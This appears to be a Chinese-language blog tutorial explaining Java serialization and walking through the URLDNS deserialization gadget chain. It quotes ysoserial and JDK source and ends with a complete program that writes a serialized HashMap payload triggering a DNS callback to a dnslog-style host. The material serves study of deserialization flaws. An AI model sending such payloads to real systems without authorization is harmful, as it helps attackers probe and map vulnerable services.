JAVA序列化和反序列化的基本概念
在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。
其中几个重要的概念:
需要让某个对象支持序列化机制,就必须让其类是可序列化,为了让某类可序列化的,该类就必须实现如下两个接口之一:
Serializable:标记接口,没有方法
Externalizable:该接口有方法需要实现,一般不用这种
序列化对象时,默认将里面所有属性都进行序列化,但除了static或transient修饰的成员。
序列化具备可继承性,也就是如果某类已经实现了序列化,则它的所有子类也已经默认实现了序列化。
序列化和反序列化的类
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常会在类中重写该方法,为实现反序列化的时候自动执行。
简单测试
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { Urldns urldns = new Urldns(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(urldns); } public void run(){ System.out.println("urldns run"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { System.out.println("urldns readObject"); s.defaultReadObject(); } }
重写的readobject方法
对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。
import java.io.*; public class Serializable_run implements Serializable{ public void run(ObjectInputStream s) throws IOException, ClassNotFoundException { s.readObject(); } public static void main(String[] args) throws Exception { Serializable_run serializable_run = new Serializable_run(); serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt"))); } }
所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。
分析URLDNS的利用链
利用链的思路大致如此,那么分析URLDNS的利用链。
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。
因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。
还存在重写readobject方法,那么分析readobject中的内容。
方法中遍历key值执行putVal方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node[] tab = (Node [])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
触发:
putVal(hash(key), key, value, false, false);
触发:
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
这里的key对象如果是URL对象,那么就
触发:URL类中的hashCode方法
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
触发DNS请求:
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。
所以为了实现readobject方法的DNS请求,接下来要做的是:
1、制造一个HashMap对象,且key值为URL对象;
2、保持私有属性hashcode为-1;
所以构造DNS请求的HashMap对象内容应该是:
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz"); Class> aClass = Class.forName("java.net.URL"); Field hashCode = aClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url, "xzjhlk"); hashCode.set(url,-1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(map); } }
至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);
这个过程将触发一次DNS请求。
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